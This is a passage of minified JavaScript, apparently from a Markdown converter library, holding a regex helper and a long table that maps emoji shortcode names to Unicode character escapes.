e}}),y.helper.regexes={asteriskDashAndColon:/([*_:~])/g},y.helper.emojis={"+1":"\ud83d\udc4d","-1":"\ud83d\udc4e",100:"\ud83d\udcaf",1234:"\ud83d\udd22","1st_place_medal":"\ud83e\udd47","2nd_place_medal":"\ud83e\udd48","3rd_place_medal":"\ud83e\udd49","8ball":"\ud83c\udfb1",a:"\ud83c\udd70\ufe0f",ab:"\ud83c\udd8e",abc:"\ud83d\udd24",abcd:"\ud83d\udd21",accept:"\ud83c\ude51",aerial_tramway:"\ud83d\udea1",airplane:"\u2708\ufe0f",alarm_clock:"\u23f0",alembic:"\u2697\ufe0f",alien:"\ud83d\udc7d",ambulance:"\ud83d\ude91",amphora:"\ud83c\udffa",anchor:"\u2693\ufe0f",angel:"\ud83d\udc7c",anger:"\ud83d\udca2",angry:"\ud83d\ude20",anguished:"\ud83d\ude27",ant:"\ud83d\udc1c",apple:"\ud83c\udf4e",aquarius:"\u2652\ufe0f",aries:"\u2648\ufe0f",arrow_backward:"\u25c0\ufe0f",arrow_double_down:"\u23ec",arrow_double_up:"\u23eb",arrow_down:"\u2b07\ufe0f",arrow_down_small:"\ud83d\udd3d",arrow_forward:"\u25b6\ufe0f",arrow_heading_down:"\u2935\ufe0f",arrow_heading_up:"\u2934\ufe0f",arrow_left:"\u2b05\ufe0f",arrow_lower_left:"\u2199\ufe0f",arrow_lower_right:"\u2198\ufe0f",arrow_right:"\u27a1\ufe0f",arrow_right_hook:"\u21aa\ufe0f",arrow_up:"\u2b06\ufe0f",arrow_up_down:"\u2195\ufe0f",arrow_up_small:"\ud83d\udd3c",arrow_upper_left:"\u2196\ufe0f",arrow_upper_right:"\u2197\ufe0f",arrows_clockwise:"\ud83d\udd03",arrows_counterclockwise:"\ud83d\udd04",art:"\ud83c\udfa8",articulated_lorry:"\ud83d\ude9b",artificial_satellite:"\ud83d\udef0",astonished:"\ud83d\ude32",athletic_shoe:"\ud83d\udc5f",atm:"\ud83c\udfe7",atom_symbol:"\u269b\ufe0f",avocado:"\ud83e\udd51",b:"\ud83c\udd71\ufe0f",baby:"\ud83d\udc76",baby_bottle:"\ud83c\udf7c",baby_chick:"\ud83d\udc24",baby_symbol:"\ud83d\udebc",back:"\ud83d\udd19",bacon:"\ud83e\udd53",badminton:"\ud83c\udff8",baggage_claim:"\ud83d\udec4",baguette_bread:"\ud83e\udd56",balance_scale:"\u2696\ufe0f",balloon:"\ud83c\udf88",ballot_box:"\ud83d\uddf3",ballot_box_with_check:"\u2611\ufe0f",bamboo:"\ud83c\udf8d",banana:"\ud83c\udf4c",bangbang:"\u203c\ufe0f",bank:"\ud83c\udfe6",bar_chart:"\ud83d\udcca",barber:"\ud83d\udc88",baseball:"\u26be\ufe0f",basketball:"\ud83c\udfc0",basketball_man:"\u26f9\ufe0f",basketball_woman:"\u26f9\ufe0f‍\u2640\ufe0f",bat:"\ud83e\udd87",bath:"\ud83d\udec0",bathtub:"\ud83d\udec1",battery:"\ud83d\udd0b",beach_umbrella:"\ud83c\udfd6",bear:"\ud83d\udc3b",bed:"\ud83d\udecf",bee:"\ud83d\udc1d",beer:"\ud83c\udf7a",beers:"\ud83c\udf7b",beetle:"\ud83d\udc1e",beginner:"\ud83d\udd30",bell:"\ud83d\udd14",bellhop_bell:"\ud83d\udece",bento:"\ud83c\udf71",biking_man:"\ud83d\udeb4",bike:"\ud83d\udeb2",biking_woman:"\ud83d\udeb4‍\u2640\ufe0f",bikini:"\ud83d\udc59",biohazard:"\u2623\ufe0f",bird:"\ud83d\udc26",birthday:"\ud83c\udf82",black_circle:"\u26ab\ufe0f",black_flag:"\ud83c\udff4",black_heart:"\ud83d\udda4",black_joker:"\ud83c\udccf",black_large_square:"\u2b1b\ufe0f",black_medium_small_square:"\u25fe\ufe0f",black_medium_square:"\u25fc\ufe0f",black_nib:"\u2712\ufe0f",black_small_square:"\u25aa\ufe0f",black_square_button:"\ud83d\udd32",blonde_man:"\ud83d\udc71",blonde_woman:"\ud83d\udc71‍\u2640\ufe0f",blossom:"\ud83c\udf3c",blowfish:"\ud83d\udc21",blue_book:"\ud83d\udcd8",blue_car:"\ud83d\ude99",blue_heart:"\ud83d\udc99",blush:"\ud83d\ude0a",boar:"\ud83d\udc17",boat:"\u26f5\ufe0f",bomb:"\ud83d\udca3",book:"\ud83d\udcd6",bookmark:"\ud83d\udd16",bookmark_tabs:"\ud83d\udcd1",books:"\ud83d\udcda",boom:"\ud83d\udca5",boot:"\ud83d\udc62",bouquet:"\ud83d\udc90",bowing_man:"\ud83d\ude47",bow_and_arrow:"\ud83c\udff9",bowing_woman:"\ud83d\ude47‍\u2640\ufe0f",bowling:"\ud83c\udfb3",boxing_glove:"\ud83e\udd4a",boy:"\ud83d\udc66",bread:"\ud83c\udf5e",bride_with_veil:"\ud83d\udc70",bridge_at_night:"\ud83c\udf09",briefcase:"\ud83d\udcbc",broken_heart:"\ud83d\udc94",bug:"\ud83d\udc1b",building_construction:"\ud83c\udfd7",bulb:"\ud83d\udca1",bullettrain_front:"\ud83d\ude85",bullettrain_side:"\ud83d\ude84",burrito:"\ud83c\udf2f",bus:"\ud83d\ude8c",business_suit_levitating:"\ud83d\udd74",busstop:"\ud83d\ude8f",bust_in_silhouette:"\ud83d\udc64",busts_in_silhouette:"\ud83d\udc65",butterfly:"\ud83e\udd8b",cactus:"\ud83c\udf35",cake:"\ud83c\udf70",calendar:"\ud83d\udcc6",call_me_hand:"\ud83e\udd19",calling:"\ud83d\udcf2",camel:"\ud83d\udc2b",camera:"\ud83d\udcf7",camera_flash:"\ud83d\udcf8",camping:"\ud83c\udfd5",cancer:"\u264b\ufe0f",candle:"\ud83d\udd6f",candy:"\ud83c\udf6c",canoe:"\ud83d\udef6",capital_abcd:"\ud83d\udd20",capricorn:"\u2651\ufe0f",car:"\ud83d\ude97",card_file_box:"\ud83d\uddc3",card_index:"\ud83d\udcc7",card_index_dividers:"\ud83d\uddc2",carousel_horse:"\ud83c\udfa0",carrot:"\ud83e\udd55",cat:"\ud83d\udc31",cat2:"\ud83d\udc08",cd:"\ud83d\udcbf",chains:"\u26d3",champagne:"\ud83c\udf7e",chart:"\ud83d\udcb9",chart_with_downwards_trend:"\ud83d\udcc9",chart_with_upwards_trend:"\ud83d\udcc8",checkered_flag:"\ud83c\udfc1",cheese:"\ud83e\uddc0",cherries:"\ud83c\udf52",cherry_blossom:"\ud83c\udf38",chestnut:"\ud83c\udf30",chicken:"\ud83d\udc14",children_crossing:"\ud83d\udeb8",chipmunk:"\ud83d\udc3f",chocolate_bar:"\ud83c\udf6b",christmas_tree:"\ud83c\udf84",church:"\u26ea\ufe0f",cinema:"\ud83c\udfa6",circus_tent:"\ud83c\udfaa",city_sunrise:"\ud83c\udf07",city_sunset:"\ud83c\udf06",cityscape:"\ud83c\udfd9",cl:"\ud83c\udd91",clamp:"\ud83d\udddc",clap:"\ud83d\udc4f",clapper:"\ud83c\udfac",classical_building:"\ud83c\udfdb",clinking_glasses:"\ud83e\udd42",clipboard:"\ud83d\udccb",clock1:"\ud83d\udd50",clock10:"\ud83d\udd59",clock1030:"\ud83d\udd65",clock11:"\ud83d\udd5a",clock1130:"\ud83d\udd66",clock12:"\ud83d\udd5b",clock1230:"\ud83d\udd67",clock130:"\ud83d\udd5c",clock2:"\ud83d\udd51",clock230:"\ud83d\udd5d",clock3:"\ud83d\udd52",clock330:"\ud83d\udd5e",clock4:"\ud83d\udd53",clock430:"\ud83d\udd5f",clock5:"\ud83d\udd54",clock530:"\ud83d\udd60",clock6:"\ud83d\udd55",clock630:"\ud83d\udd61",clock7:"\ud83d\udd56",clock730:"\ud83d\udd62",clock8:"\ud83d\udd57",clock830:"\ud83d\udd63",clock9:"\ud83d\udd58",clock930:"\ud83d\udd64",closed_book:"\ud83d\udcd5",closed_lock_with_key:"\ud83d\udd10",closed_umbrella:"\ud83c\udf02",cloud:"\u2601\ufe0f",cloud_with_lightning:"\ud83c\udf29",cloud_with_lightning_and_rain:"\u26c8",cloud_with_rain:"\ud83c\udf27",cloud_with_snow:"\ud83c\udf28",clown_face:"\ud83e\udd21",clubs:"\u2663\ufe0f",cocktail:"\ud83c\udf78",coffee:"\u2615\ufe0f",coffin:"\u26b0\ufe0f",cold_sweat:"\ud83d\ude30",comet:"\u2604\ufe0f",computer:"\ud83d\udcbb",computer_mouse:"\ud83d\uddb1",confetti_ball:"\ud83c\udf8a",confounded:"\ud83d\ude16",confused:"\ud83d\ude15",congratulations:"\u3297\ufe0f",construction:"\ud83d\udea7",construction_worker_man:"\ud83d\udc77",construction_worker_woman:"\ud83d\udc77‍\u2640\ufe0f",control_knobs:"\ud83c\udf9b",convenience_store:"\ud83c\udfea",cookie:"\ud83c\udf6a",cool:"\ud83c\udd92",policeman:"\ud83d\udc6e",copyright:"\xa9\ufe0f",corn:"\ud83c\udf3d",couch_and_lamp:"\ud83d\udecb",couple:"\ud83d\udc6b",couple_with_heart_woman_man:"\ud83d\udc91",couple_with_heart_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc68",couple_with_heart_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc69",couplekiss_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc68",couplekiss_man_woman:"\ud83d\udc8f",couplekiss_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc69",cow:"\ud83d\udc2e",cow2:"\ud83d\udc04",cowboy_hat_face:"\ud83e\udd20",crab:"\ud83e\udd80",crayon:"\ud83d\udd8d",credit_card:"\ud83d\udcb3",crescent_moon:"\ud83c\udf19",cricket:"\ud83c\udfcf",crocodile:"\ud83d\udc0a",croissant:"\ud83e\udd50",crossed_fingers:"\ud83e\udd1e",crossed_flags:"\ud83c\udf8c",crossed_swords:"\u2694\ufe0f",crown:"\ud83d\udc51",cry:"\ud83d\ude22",crying_cat_face:"\ud83d\ude3f",crystal_ball:"\ud83d\udd2e",cucumber:"\ud83e\udd52",cupid:"\ud83d\udc98",curly_loop:"\u27b0",currency_exchange:"\ud83d\udcb1",curry:"\ud83c\udf5b",custard:"\ud83c\udf6e",customs:"\ud83d\udec3",cyclone:"\ud83c\udf00",dagger:"\ud83d\udde1",dancer:"\ud83d\udc83",dancing_women:"\ud83d\udc6f",dancing_men:"\ud83d\udc6f‍\u2642\ufe0f",dango:"\ud83c\udf61",dark_sunglasses:"\ud83d\udd76",dart:"\ud83c\udfaf",dash:"\ud83d\udca8",date:"\ud83d\udcc5",deciduous_tree:"\ud83c\udf33",deer:"\ud83e\udd8c",department_store:"\ud83c\udfec",derelict_house:"\ud83c\udfda",desert:"\ud83c\udfdc",desert_island:"\ud83c\udfdd",desktop_computer:"\ud83d\udda5",male_detective:"\ud83d\udd75\ufe0f",diamond_shape_with_a_dot_inside:"\ud83d\udca0",diamonds:"\u2666\ufe0f",disappointed:"\ud83d\ude1e",disappointed_relieved:"\ud83d\ude25",dizzy:"\ud83d\udcab",dizzy_face:"\ud83d\ude35",do_not_litter:"\ud83d\udeaf",dog:"\ud83d\udc36",dog2:"\ud83d\udc15",dollar:"\ud83d\udcb5",dolls:"\ud83c\udf8e",dolphin:"\ud83d\udc2c",door:"\ud83d\udeaa",doughnut:"\ud83c\udf69",dove:"\ud83d\udd4a",dragon:"\ud83d\udc09",dragon_face:"\ud83d\udc32",dress:"\ud83d\udc57",dromedary_camel:"\ud83d\udc2a",drooling_face:"\ud83e\udd24",droplet:"\ud83d\udca7",drum:"\ud83e\udd41",duck:"\ud83e\udd86",dvd:"\ud83d\udcc0","e-mail":"\ud83d\udce7",eagle:"\ud83e\udd85",ear:"\ud83d\udc42",ear_of_rice:"\ud83c\udf3e",earth_africa:"\ud83c\udf0d",earth_americas:"\ud83c\udf0e",earth_asia:"\ud83c\udf0f",egg:"\ud83e\udd5a",eggplant:"\ud83c\udf46",eight_pointed_black_star:"\u2734\ufe0f",eight_spoked_asterisk:"\u2733\ufe0f",electric_plug:"\ud83d\udd0c",elephant:"\ud83d\udc18",email:"\u2709\ufe0f",end:"\ud83d\udd1a",envelope_with_arrow:"\ud83d\udce9",euro:"\ud83d\udcb6",european_castle:"\ud83c\udff0",european_post_office:"\ud83c\udfe4",evergreen_tree:"\ud83c\udf32",exclamation:"\u2757\ufe0f",expressionless:"\ud83d\ude11",eye:"\ud83d\udc41",eye_speech_bubble:"\ud83d\udc41‍\ud83d\udde8",eyeglasses:"\ud83d\udc53",eyes:"\ud83d\udc40",face_with_head_bandage:"\ud83e\udd15",face_with_thermometer:"\ud83e\udd12",fist_oncoming:"\ud83d\udc4a",factory:"\ud83c\udfed",fallen_leaf:"\ud83c\udf42",family_man_woman_boy:"\ud83d\udc6a",family_man_boy:"\ud83d\udc68‍\ud83d\udc66",family_man_boy_boy:"\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_girl:"\ud83d\udc68‍\ud83d\udc67",family_man_girl_boy:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_girl_girl:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_man_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66",family_man_man_boy_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_man_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67",family_man_man_girl_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_man_girl_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_woman_boy_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_man_woman_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67",family_man_woman_girl_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_man_woman_girl_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_boy:"\ud83d\udc69‍\ud83d\udc66",family_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_girl:"\ud83d\udc69‍\ud83d\udc67",family_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_woman_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66",family_woman_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_woman_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67",family_woman_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",fast_forward:"\u23e9",fax:"\ud83d\udce0",fearful:"\ud83d\ude28",feet:"\ud83d\udc3e",female_detective:"\ud83d\udd75\ufe0f‍\u2640\ufe0f",ferris_wheel:"\ud83c\udfa1",ferry:"\u26f4",field_hockey:"\ud83c\udfd1",file_cabinet:"\ud83d\uddc4",file_folder:"\ud83d\udcc1",film_projector:"\ud83d\udcfd",film_strip:"\ud83c\udf9e",fire:"\ud83d\udd25",fire_engine:"\ud83d\ude92",fireworks:"\ud83c\udf86",first_quarter_moon:"\ud83c\udf13",first_quarter_moon_with_face:"\ud83c\udf1b",fish:"\ud83d\udc1f",fish_cake:"\ud83c\udf65",fishing_pole_and_fish:"\ud83c\udfa3",fist_raised:"\u270a",fist_left:"\ud83e\udd1b",fist_right:"\ud83e\udd1c",flags:"\ud83c\udf8f",flashlight:"\ud83d\udd26",fleur_de_lis:"\u269c\ufe0f",flight_arrival:"\ud83d\udeec",flight_departure:"\ud83d\udeeb",floppy_disk:"\ud83d\udcbe",flower_playing_cards:"\ud83c\udfb4",flushed:"\ud83d\ude33",fog:"\ud83c\udf2b",foggy:"\ud83c\udf01",football:"\ud83c\udfc8",footprints:"\ud83d\udc63",fork_and_knife:"\ud83c\udf74",fountain:"\u26f2\ufe0f",fountain_pen:"\ud83d\udd8b",four_leaf_clover:"\ud83c\udf40",fox_face:"\ud83e\udd8a",framed_picture:"\ud83d\uddbc",free:"\ud83c\udd93",fried_egg:"\ud83c\udf73",fried_shrimp:"\ud83c\udf64",fries:"\ud83c\udf5f",frog:"\ud83d\udc38",frowning:"\ud83d\ude26",frowning_face:"\u2639\ufe0f",frowning_man:"\ud83d\ude4d‍\u2642\ufe0f",frowning_woman:"\ud83d\ude4d",middle_finger:"\ud83d\udd95",fuelpump:"\u26fd\ufe0f",full_moon:"\ud83c\udf15",full_moon_with_face:"\ud83c\udf1d",funeral_urn:"\u26b1\ufe0f",game_die:"\ud83c\udfb2",gear:"\u2699\ufe0f",gem:"\ud83d\udc8e",gemini:"\u264a\ufe0f",ghost:"\ud83d\udc7b",gift:"\ud83c\udf81",gift_heart:"\ud83d\udc9d",girl:"\ud83d\udc67",globe_with_meridians:"\ud83c\udf10",goal_net:"\ud83e\udd45",goat:"\ud83d\udc10",golf:"\u26f3\ufe0f",golfing_man:"\ud83c\udfcc\ufe0f",golfing_woman:"\ud83c\udfcc\ufe0f‍\u2640\ufe0f",gorilla:"\ud83e\udd8d",grapes:"\ud83c\udf47",green_apple:"\ud83c\udf4f",green_book:"\ud83d\udcd7",green_heart:"\ud83d\udc9a",green_salad:"\ud83e\udd57",grey_exclamation:"\u2755",grey_question:"\u2754",grimacing:"\ud83d\ude2c",grin:"\ud83d\ude01",grinning:"\ud83d\ude00",guardsman:"\ud83d\udc82",guardswoman:"\ud83d\udc82‍\u2640\ufe0f",guitar:"\ud83c\udfb8",gun:"\ud83d\udd2b",haircut_woman:"\ud83d\udc87",haircut_man:"\ud83d\udc87‍\u2642\ufe0f",hamburger:"\ud83c\udf54",hammer:"\ud83d\udd28",hammer_and_pick:"\u2692",hammer_and_wrench:"\ud83d\udee0",hamster:"\ud83d\udc39",hand:"\u270b",handbag:"\ud83d\udc5c",handshake:"\ud83e\udd1d",hankey:"\ud83d\udca9",hatched_chick:"\ud83d\udc25",hatching_chick:"\ud83d\udc23",headphones:"\ud83c\udfa7",hear_no_evil:"\ud83d\ude49",heart:"\u2764\ufe0f",heart_decoration:"\ud83d\udc9f",heart_eyes:"\ud83d\ude0d",heart_eyes_cat:"\ud83d\ude3b",heartbeat:"\ud83d\udc93",heartpulse:"\ud83d\udc97",hearts:"\u2665\ufe0f",heavy_check_mark:"\u2714\ufe0f",heavy_division_sign:"\u2797",heavy_dollar_sign:"\ud83d\udcb2",heavy_heart_exclamation:"\u2763\ufe0f",heavy_minus_sign:"\u2796",heavy_multiplication_x:"\u2716\ufe0f",heavy_plus_sign:"\u2795",helicopter:"\ud83d\ude81",herb:"\ud83c\udf3f",hibiscus:"\ud83c\udf3a",high_brightness:"\ud83d\udd06",high_heel:"\ud83d\udc60",hocho:"\ud83d\udd2a",hole:"\ud83d\udd73",honey_pot:"\ud83c\udf6f",horse:"\ud83d\udc34",horse_racing:"\ud83c\udfc7",hospital:"\ud83c\udfe5",hot_pepper:"\ud83c\udf36",hotdog:"\ud83c\udf2d",hotel:"\ud83c\udfe8",hotsprings:"\u2668\ufe0f",hourglass:"\u231b\ufe0f",hourglass_flowing_sand:"\u23f3",house:"\ud83c\udfe0",house_with_garden:"\ud83c\udfe1",houses:"\ud83c\udfd8",hugs:"\ud83e\udd17",hushed:"\ud83d\ude2f",ice_cream:"\ud83c\udf68",ice_hockey:"\ud83c\udfd2",ice_skate:"\u26f8",icecream:"\ud83c\udf66",id:"\ud83c\udd94",ideograph_advantage:"\ud83c\ude50",imp:"\ud83d\udc7f",inbox_tray:"\ud83d\udce5",incoming_envelope:"\ud83d\udce8",tipping_hand_woman:"\ud83d\udc81",information_source:"\u2139\ufe0f",innocent:"\ud83d\ude07",interrobang:"\u2049\ufe0f",iphone:"\ud83d\udcf1",izakaya_lantern:"\ud83c\udfee",jack_o_lantern:"\ud83c\udf83",japan:"\ud83d\uddfe",japanese_castle:"\ud83c\udfef",japanese_goblin:"\ud83d\udc7a",japanese_ogre:"\ud83d\udc79",jeans:"\ud83d\udc56",joy:"\ud83d\ude02",joy_cat:"\ud83d\ude39",joystick:"\ud83d\udd79",kaaba:"\ud83d\udd4b",key:"\ud83d\udd11",keyboard:"\u2328\ufe0f",keycap_ten:"\ud83d\udd1f",kick_scooter:"\ud83d\udef4",kimono:"\ud83d\udc58",kiss:"\ud83d\udc8b",kissing:"\ud83d\ude17",kissing_cat:"\ud83d\ude3d",kissing_closed_eyes:"\ud83d\ude1a",kissing_heart:"\ud83d\ude18",kissing_smiling_eyes:"\ud83d\ude19",kiwi_fruit:"\ud83e\udd5d",koala:"\ud83d\udc28",koko:"\ud83c\ude01",label:"\ud83c\udff7",large_blue_circle:"\ud83d\udd35",large_blue_diamond:"\ud83d\udd37",large_orange_diamond:"\ud83d\udd36",last_quarter_moon:"\ud83c\udf17",last_quarter_moon_with_face:"\ud83c\udf1c",latin_cross:"\u271d\ufe0f",laughing:"\ud83d\ude06",leaves:"\ud83c\udf43",ledger:"\ud83d\udcd2",left_luggage:"\ud83d\udec5",left_right_arrow:"\u2194\ufe0f",leftwards_arrow_with_hook:"\u21a9\ufe0f",lemon:"\ud83c\udf4b",leo:"\u264c\ufe0f",leopard:"\ud83d\udc06",level_slider:"\ud83c\udf9a",libra:"\u264e\ufe0f",light_rail:"\ud83d\ude88",link:"\ud83d\udd17",lion:"\ud83e\udd81",lips:"\ud83d\udc44",lipstick:"\ud83d\udc84",lizard:"\ud83e\udd8e",lock:"\ud83d\udd12",lock_with_ink_pen:"\ud83d\udd0f",lollipop:"\ud83c\udf6d",loop:"\u27bf",loud_sound:"\ud83d\udd0a",loudspeaker:"\ud83d\udce2",love_hotel:"\ud83c\udfe9",love_letter:"\ud83d\udc8c",low_brightness:"\ud83d\udd05",lying_face:"\ud83e\udd25",m:"\u24c2\ufe0f",mag:"\ud83d\udd0d",mag_right:"\ud83d\udd0e",mahjong:"\ud83c\udc04\ufe0f",mailbox:"\ud83d\udceb",mailbox_closed:"\ud83d\udcea",mailbox_with_mail:"\ud83d\udcec",mailbox_with_no_mail:"\ud83d\udced",man:"\ud83d\udc68",man_artist:"\ud83d\udc68‍\ud83c\udfa8",man_astronaut:"\ud83d\udc68‍\ud83d\ude80",man_cartwheeling:"\ud83e\udd38‍\u2642\ufe0f",man_cook:"\ud83d\udc68‍\ud83c\udf73",man_dancing:"\ud83d\udd7a",man_facepalming:"\ud83e\udd26‍\u2642\ufe0f",man_factory_worker:"\ud83d\udc68‍\ud83c\udfed",man_farmer:"\ud83d\udc68‍\ud83c\udf3e",man_firefighter:"\ud83d\udc68‍\ud83d\ude92",man_health_worker:"\ud83d\udc68‍\u2695\ufe0f",man_in_tuxedo:"\ud83e\udd35",man_judge:"\ud83d\udc68‍\u2696\ufe0f",man_juggling:"\ud83e\udd39‍\u2642\ufe0f",man_mechanic:"\ud83d\udc68‍\ud83d\udd27",man_office_worker:"\ud83d\udc68‍\ud83d\udcbc",man_pilot:"\ud83d\udc68‍\u2708\ufe0f",man_playing_handball:"\ud83e\udd3e‍\u2642\ufe0f",man_playing_water_polo:"\ud83e\udd3d‍\u2642\ufe0f",man_scientist:"\ud83d\udc68‍\ud83d\udd2c",man_shrugging:"\ud83e\udd37‍\u2642\ufe0f",man_singer:"\ud83d\udc68‍\ud83c\udfa4",man_student:"\ud83d\udc68‍\ud83c\udf93",man_teacher:"\ud83d\udc68‍\ud83c\udfeb",man_technologist:"\ud83d\udc68‍\ud83d\udcbb",man_with_gua_pi_mao:"\ud83d\udc72",man_with_turban:"\ud83d\udc73",tangerine:"\ud83c\udf4a",mans_shoe:"\ud83d\udc5e",mantelpiece_clock:"\ud83d\udd70",maple_leaf:"\ud83c\udf41",martial_arts_uniform:"\ud83e\udd4b",mask:"\ud83d\ude37",massage_woman:"\ud83d\udc86",massage_man:"\ud83d\udc86‍\u2642\ufe0f",meat_on_bone:"\ud83c\udf56",medal_military:"\ud83c\udf96",medal_sports:"\ud83c\udfc5",mega:"\ud83d\udce3",melon:"\ud83c\udf48",memo:"\ud83d\udcdd",men_wrestling:"\ud83e\udd3c‍\u2642\ufe0f",menorah:"\ud83d\udd4e",mens:"\ud83d\udeb9",metal:"\ud83e\udd18",metro:"\ud83d\ude87",microphone:"\ud83c\udfa4",microscope:"\ud83d\udd2c",milk_glass:"\ud83e\udd5b",milky_way:"\ud83c\udf0c",minibus:"\ud83d\ude90",minidisc:"\ud83d\udcbd",mobile_phone_off:"\ud83d\udcf4",money_mouth_face:"\ud83e\udd11",money_with_wings:"\ud83d\udcb8",moneybag:"\ud83d\udcb0",monkey:"\ud83d\udc12",monkey_face:"\ud83d\udc35",monorail:"\ud83d\ude9d",moon:"\ud83c\udf14",mortar_board:"\ud83c\udf93",mosque:"\ud83d\udd4c",motor_boat:"\ud83d\udee5",motor_scooter:"\ud83d\udef5",motorcycle:"\ud83c\udfcd",motorway:"\ud83d\udee3",mount_fuji:"\ud83d\uddfb",mountain:"\u26f0",mountain_biking_man:"\ud83d\udeb5",mountain_biking_woman:"\ud83d\udeb5‍\u2640\ufe0f",mountain_cableway:"\ud83d\udea0",mountain_railway:"\ud83d\ude9e",mountain_snow:"\ud83c\udfd4",mouse:"\ud83d\udc2d",mouse2:"\ud83d\udc01",movie_camera:"\ud83c\udfa5",moyai:"\ud83d\uddff",mrs_claus:"\ud83e\udd36",muscle:"\ud83d\udcaa",mushroom:"\ud83c\udf44",musical_keyboard:"\ud83c\udfb9",musical_note:"\ud83c\udfb5",musical_score:"\ud83c\udfbc",mute:"\ud83d\udd07",nail_care:"\ud83d\udc85",name_badge:"\ud83d\udcdb",national_park:"\ud83c\udfde",nauseated_face:"\ud83e\udd22",necktie:"\ud83d\udc54",negative_squared_cross_mark:"\u274e",nerd_face:"\ud83e\udd13",neutral_face:"\ud83d\ude10","new":"\ud83c\udd95",new_moon:"\ud83c\udf11",new_moon_with_face:"\ud83c\udf1a",newspaper:"\ud83d\udcf0",newspaper_roll:"\ud83d\uddde",next_track_button:"\u23ed",ng:"\ud83c\udd96",no_good_man:"\ud83d\ude45‍\u2642\ufe0f",no_good_woman:"\ud83d\ude45",night_with_stars:"\ud83c\udf03",no_bell:"\ud83d\udd15",no_bicycles:"\ud83d\udeb3",no_entry:"\u26d4\ufe0f",no_entry_sign:"\ud83d\udeab",no_mobile_phones:"\ud83d\udcf5",no_mouth:"\ud83d\ude36",no_pedestrians:"\ud83d\udeb7",no_smoking:"\ud83d\udead","non-potable_water":"\ud83d\udeb1",nose:"\ud83d\udc43",notebook:"\ud83d\udcd3",notebook_with_decorative_cover:"\ud83d\udcd4",notes:"\ud83c\udfb6",nut_and_bolt:"\ud83d\udd29",o:"\u2b55\ufe0f",o2:"\ud83c\udd7e\ufe0f",ocean:"\ud83c\udf0a",octopus:"\ud83d\udc19",oden:"\ud83c\udf62",office:"\ud83c\udfe2",oil_drum:"\ud83d\udee2",ok:"\ud83c\udd97",ok_hand:"\ud83d\udc4c",ok_man:"\ud83d\ude46‍\u2642\ufe0f",ok_woman:"\ud83d\ude46",old_key:"\ud83d\udddd",older_man:"\ud83d\udc74",older_woman:"\ud83d\udc75",om:"\ud83d\udd49",on:"\ud83d\udd1b",oncoming_automobile:"\ud83d\ude98",oncoming_bus:"\ud83d\ude8d",oncoming_police_car:"\ud83d\ude94",oncoming_taxi:"\ud83d\ude96",open_file_folder:"\ud83d\udcc2",open_hands:"\ud83d\udc50",open_mouth:"\ud83d\ude2e",open_umbrella:"\u2602\ufe0f",ophiuchus:"\u26ce",orange_book:"\ud83d\udcd9",orthodox_cross:"\u2626\ufe0f",outbox_tray:"\ud83d\udce4",owl:"\ud83e\udd89",ox:"\ud83d\udc02","package":"\ud83d\udce6",page_facing_up:"\ud83d\udcc4",page_with_curl:"\ud83d\udcc3",pager:"\ud83d\udcdf",paintbrush:"\ud83d\udd8c",palm_tree:"\ud83c\udf34",pancakes:"\ud83e\udd5e",panda_face:"\ud83d\udc3c",paperclip:"\ud83d\udcce",paperclips:"\ud83d\udd87",parasol_on_ground:"\u26f1",parking:"\ud83c\udd7f\ufe0f",part_alternation_mark:"\u303d\ufe0f",partly_sunny:"\u26c5\ufe0f",passenger_ship:"\ud83d\udef3",passport_control:"\ud83d\udec2",pause_button:"\u23f8",peace_symbol:"\u262e\ufe0f",peach:"\ud83c\udf51",peanuts:"\ud83e\udd5c",pear:"\ud83c\udf50",pen:"\ud83d\udd8a",pencil2:"\u270f\ufe0f",penguin:"\ud83d\udc27",pensive:"\ud83d\ude14",performing_arts:"\ud83c\udfad",persevere:"\ud83d\ude23",person_fencing:"\ud83e\udd3a",pouting_woman:"\ud83d\ude4e",phone:"\u260e\ufe0f",pick:"\u26cf",pig:"\ud83d\udc37",pig2:"\ud83d\udc16",pig_nose:"\ud83d\udc3d",pill:"\ud83d\udc8a",pineapple:"\ud83c\udf4d",ping_pong:"\ud83c\udfd3",pisces:"\u2653\ufe0f",pizza:"\ud83c\udf55",place_of_worship:"\ud83d\uded0",plate_with_cutlery:"\ud83c\udf7d",play_or_pause_button:"\u23ef",point_down:"\ud83d\udc47",point_left:"\ud83d\udc48",point_right:"\ud83d\udc49",point_up:"\u261d\ufe0f",point_up_2:"\ud83d\udc46",police_car:"\ud83d\ude93",policewoman:"\ud83d\udc6e‍\u2640\ufe0f",poodle:"\ud83d\udc29",popcorn:"\ud83c\udf7f",post_office:"\ud83c\udfe3",postal_horn:"\ud83d\udcef",postbox:"\ud8